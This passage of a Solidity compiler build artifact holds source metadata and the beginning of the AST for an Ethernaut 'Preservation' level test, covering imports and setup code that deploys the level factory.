h12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/PreservationAttack.sol":{"keccak256":"0xd2ad21c22b3e3a02e6ef7f93213199a81a96c7da54a3d025bc5b33600c3c7fb7","urls":["bzz-raw://ffef02aca04b6443de8dfe36fd9bc878720099110924ede882076c575e5e43b6","dweb:/ipfs/QmNjesfw9obz1ZhSbch82HRe2hCeQcBV5E5wPRFjXKsW4M"],"license":"MIT"},"src/levels/Preservation.sol":{"keccak256":"0x2c5c3c5d976eceb60f5d53aa61ab5daa76a4695ed817e27824e93c42e82baac7","urls":["bzz-raw://0feb7aa8f39515213a5524a48ff38a61b36a5ad492ace6a1a48a8307dbdcfd67","dweb:/ipfs/QmX316NuK3oYEAUdpyUnNHiztZs2SBJKjvRFkwSEo3tsZb"],"license":"MIT"},"src/levels/PreservationFactory.sol":{"keccak256":"0x09cf5592ff0589796ae9b1bc154a538001e010a4b5e68f52b11626e6c231fe44","urls":["bzz-raw://808c0f881e362c9ff0620092cbc68a49ab505de7d1ddd34586362b95e32c7bc8","dweb:/ipfs/QmRa2NiS2ATDM18EbD6mEtSggZrtZk24rJ7J3EmYSkAR2K"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Preservation.t.sol":{"keccak256":"0xaa213bfdfb0b69fb1b960a8b8b0679e5eb97a4eb005776a20d1ccadf61f7a675","urls":["bzz-raw://9a5888b22667cf65dfaaf170c647c5944665526f1e534b4d7d062f07e53fff06","dweb:/ipfs/QmWZfkYPWWRTT6ETDpWaTbBfVcTrBb9xhjbQda3FzRyVa6"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Preservation.t.sol","id":63212,"exportedSymbols":{"Ethernaut":[49101],"Level":[55508],"Preservation":[54034],"PreservationAttack":[49683],"PreservationFactory":[54127],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestPreservation":[63211],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2119:141","nodes":[{"id":63001,"nodeType":"PragmaDirective","src":"32:23:141","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":63002,"nodeType":"ImportDirective","src":"57:28:141","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":63212,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":63004,"nodeType":"ImportDirective","src":"86:43:141","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":63212,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":63003,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:141","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63006,"nodeType":"ImportDirective","src":"131:57:141","nodes":[],"absolutePath":"src/levels/Preservation.sol","file":"src/levels/Preservation.sol","nameLocation":"-1:-1:-1","scope":63212,"sourceUnit":54048,"symbolAliases":[{"foreign":{"id":63005,"name":"Preservation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54034,"src":"139:12:141","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63008,"nodeType":"ImportDirective","src":"189:71:141","nodes":[],"absolutePath":"src/levels/PreservationFactory.sol","file":"src/levels/PreservationFactory.sol","nameLocation":"-1:-1:-1","scope":63212,"sourceUnit":54128,"symbolAliases":[{"foreign":{"id":63007,"name":"PreservationFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54127,"src":"197:19:141","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63010,"nodeType":"ImportDirective","src":"261:70:141","nodes":[],"absolutePath":"src/attacks/PreservationAttack.sol","file":"src/attacks/PreservationAttack.sol","nameLocation":"-1:-1:-1","scope":63212,"sourceUnit":49684,"symbolAliases":[{"foreign":{"id":63009,"name":"PreservationAttack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49683,"src":"269:18:141","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63012,"nodeType":"ImportDirective","src":"332:48:141","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":63212,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":63011,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"340:5:141","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63014,"nodeType":"ImportDirective","src":"381:44:141","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":63212,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":63013,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"389:9:141","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63211,"nodeType":"ContractDefinition","src":"427:1723:141","nodes":[{"id":63021,"nodeType":"VariableDeclaration","src":"474:19:141","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"484:9:141","scope":63211,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":63020,"nodeType":"UserDefinedTypeName","pathNode":{"id":63019,"name":"Ethernaut","nameLocations":["474:9:141"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"474:9:141"},"referencedDeclaration":49101,"src":"474:9:141","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":63024,"nodeType":"VariableDeclaration","src":"499:21:141","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"512:8:141","scope":63211,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"},"typeName":{"id":63023,"nodeType":"UserDefinedTypeName","pathNode":{"id":63022,"name":"Preservation","nameLocations":["499:12:141"],"nodeType":"IdentifierPath","referencedDeclaration":54034,"src":"499:12:141"},"referencedDeclaration":54034,"src":"499:12:141","typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}},"visibility":"internal"},{"id":63026,"nodeType":"VariableDeclaration","src":"527:21:141","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"543:5:141","scope":63211,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":63025,"name":"address","nodeType":"ElementaryTypeName","src":"527:15:141","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":63028,"nodeType":"VariableDeclaration","src":"554:22:141","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"570:6:141","scope":63211,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":63027,"name":"address","nodeType":"ElementaryTypeName","src":"554:15:141","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":63130,"nodeType":"FunctionDefinition","src":"763:604:141","nodes":[],"body":{"id":63129,"nodeType":"Block","src":"787:580:141","nodes":[],"statements":[{"assignments":[63033],"declarations":[{"constant":false,"id":63033,"mutability":"mutable","name":"users","nameLocation":"822:5:141","nodeType":"VariableDeclaration","scope":63129,"src":"797:30:141","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":63031,"name":"address","nodeType":"ElementaryTypeName","src":"797:15:141","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63032,"nodeType":"ArrayTypeName","src":"797:17:141","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":63037,"initialValue":{"arguments":[{"hexValue":"32","id":63035,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"842:1:141","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":63034,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"830:11:141","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":63036,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"830:14:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"797:47:141"},{"expression":{"id":63042,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63038,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63026,"src":"855:5:141","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":63039,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63033,"src":"863:5:141","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":63041,"indexExpression":{"hexValue":"30","id":63040,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"869:1:141","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"863:8:141","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"855:16:141","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63043,"nodeType":"ExpressionStatement","src":"855:16:141"},{"expression":{"arguments":[{"id":63047,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63026,"src":"890:5:141","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":63048,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"897:7:141","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":63044,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"881:2:141","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63046,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"884:5:141","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"881:8:141","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":63049,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"881:24:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63050,"nodeType":"ExpressionStatement","src":"881:24:141"},{"expression":{"id":63055,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63051,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63028,"src":"916:6:141","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":63052,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63033,"src":"925:5:141","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":63054,"indexExpression":{"hexValue":"31","id":63053,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"931:1:141","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"925:8:141","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"916:17:141","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63056,"nodeType":"ExpressionStatement","src":"916:17:141"},{"expression":{"arguments":[{"id":63060,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63028,"src":"952:6:141","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":63061,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"960:8:141","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":63057,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"943:2:141","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63059,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"946:5:141","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"943:8:141","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":63062,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"943:26:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63063,"nodeType":"ExpressionStatement","src":"943:26:141"},{"expression":{"arguments":[{"id":63067,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63026,"src":"994:5:141","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63064,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"980:2:141","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63066,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"983:10:141","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"980:13:141","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63068,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"980:20:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63069,"nodeType":"ExpressionStatement","src":"980:20:141"},{"expression":{"id":63074,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63070,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63021,"src":"1010:9:141","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":63072,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63026,"src":"1049:5:141","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":63071,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"1022:26:141","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":63073,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1022:33:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"1010:45:141","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":63075,"nodeType":"ExpressionStatement","src":"1010:45:141"},{"assignments":[63078],"declarations":[{"constant":false,"id":63078,"mutability":"mutable","name":"factory","nameLocation":"1085:7:141","nodeType":"VariableDeclaration","scope":63129,"src":"1065:27:141","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_PreservationFactory_$54127","typeString":"contract PreservationFactory"},"typeName":{"id":63077,"nodeType":"UserDefinedTypeName","pathNode":{"id":63076,"name":"PreservationFactory","nameLocations":["1065:19:141"],"nodeType":"IdentifierPath","referencedDeclaration":54127,"src":"1065:19:141"},"referencedDeclaration":54127,"src":"1065:19:141","typeDescriptions":{"typeIdentifier":"t_contract$_PreservationFactory_$54127","typeString":"contract PreservationFactory"}},"visibility":"internal"}],"id":63083,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":63081,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1095:23:141","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_PreservationFactory_$54127_$","typeString":"function () returns (contract PreservationFactory)"},"typeName":{"id":63080,"nodeType":"UserDefinedTypeName","pathNode":{"id":63079,"name":"PreservationFactory","nameLocations":["1099:19:141"],"nodeType":"IdentifierPath","referencedDeclaration":54127,"src":"1099:19:141"},"referencedDeclaration":54127,"src":"1099:19:141","typeDescriptions":{"typeIdentifier":"t_contract$_PreservationFactory_$54127","typeString":"contract PreservationFactory"}}},"id":63082,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1095:25:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_PreservationFactory_$54127","typeString":"contract PreservationFactory"}},"nodeType":"VariableDeclarationStatement","src":"1065:55:141"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":63090,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63078,"src":"1168:7:141","typeDescriptions":{"typeIdentifier":"t_contract$_PreservationFactory_$54127","typeString":"contract PreservationFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PreservationFactory_$54127","typeString":"contract 